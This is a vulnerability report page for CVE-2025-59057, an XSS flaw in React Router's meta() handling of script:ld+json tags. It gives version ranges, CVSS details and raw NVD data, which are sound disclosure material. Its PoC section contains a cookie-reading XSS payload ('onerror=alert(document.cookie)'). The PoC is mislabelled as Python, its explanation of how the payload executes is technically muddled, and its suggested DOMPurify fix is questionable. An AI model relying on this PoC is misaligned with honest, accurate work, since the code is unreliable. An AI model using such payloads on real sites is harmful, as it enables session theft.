Security Vulnerability Report
中文
CVE-2025-59057 CVSS 7.6 HIGH

CVE-2025-59057

Published: 2026-01-10 03:15:48
Last Modified: 2026-01-30 18:19:56

Description

React Router is a router for React. In @remix-run/react versions 1.15.0 through 2.17.0. and react-router versions 7.0.0 through 7.8.2, a XSS vulnerability exists in in React Router's meta()/<Meta> APIs in Framework Mode when generating script:ld+json tags which could allow arbitrary JavaScript execution during SSR if untrusted content is used to generate the tag. There is no impact if the application is being used in Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>). This issue has been patched in @remix-run/react version 2.17.1 and react-router version 7.9.0.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:shopify:react-router:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:shopify:remix-run\/react:*:*:*:*:*:node.js:*:* - VULNERABLE
@remix-run/react >= 1.15.0 且 < 2.17.1
react-router >= 7.0.0 且 < 7.9.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Example PoC for CVE-2025-59057 // This demonstrates XSS via meta() function in React Router Framework Mode // Vulnerable code pattern: import { useLoaderData } from '@remix-run/react'; export const meta = ({ data }) => { // VULNERABLE: Direct use of user input without sanitization return [ { 'script:ld+json': { '@context': 'https://schema.org', '@type': 'Person', name: data?.userName, // User-controlled input without sanitization description: data?.userBio } } ]; }; export const loader = async () => { return { userName: '<img src=x onerror=alert(document.cookie)>', userBio: 'Test user' }; }; // Attack Vector: // 1. Attacker injects malicious payload as userName // 2. The payload is reflected in script:ld+json tag without encoding // 3. Browser parses the ld+json and executes injected JavaScript // Safe code pattern (after fix): import DOMPurify from 'dompurify'; export const meta = ({ data }) => { return [ { 'script:ld+json': { '@context': 'https://schema.org', '@type': 'Person', name: DOMPurify.sanitize(data?.userName || ''), description: DOMPurify.sanitize(data?.userBio || '') } } ]; };

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59057", "sourceIdentifier": "[email protected]", "published": "2026-01-10T03:15:48.080", "lastModified": "2026-01-30T18:19:56.337", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "React Router is a router for React. In @remix-run/react versions 1.15.0 through 2.17.0. and react-router versions 7.0.0 through 7.8.2, a XSS vulnerability exists in in React Router's meta()/<Meta> APIs in Framework Mode when generating script:ld+json tags which could allow arbitrary JavaScript execution during SSR if untrusted content is used to generate the tag. There is no impact if the application is being used in Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>). This issue has been patched in @remix-run/react version 2.17.1 and react-router version 7.9.0."}, {"lang": "es", "value": "React Router es un router para React. En las versiones 1.15.0 a 2.17.0 de @remix-run/react y las versiones 7.0.0 a 7.8.2 de react-router, existe una vulnerabilidad XSS en las APIs meta()/ de React Router en Modo Framework al generar etiquetas script:ld+json, lo que podría permitir la ejecución arbitraria de JavaScript durante el SSR si se utiliza contenido no confiable para generar la etiqueta. No hay impacto si la aplicación se está utilizando en Modo Declarativo () o Modo de Datos (createBrowserRouter/). Este problema ha sido parcheado en la versión 2.17.1 de @remix-run/react y la versión 7.9.0 de react-router."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:shopify:react-router:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "7.0.0", "versionEndIncluding": "7.8.2", "matchCriteriaId": "F4E34485-ECF4-43E3-888E-CED503030BD0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:shopify:remix-run\\/react:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "1.15.0", "versionEndIncluding": "2.17.0", "matchCriteriaId": "54EBA7E4-4D3E-4BDD-92DD-BCC1ED3FDF4C"}]}]}], "references": [{"url": "https://github.com/remix-run/react-router/security/advisories/GHSA-3cgp-3xvw-98x8", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}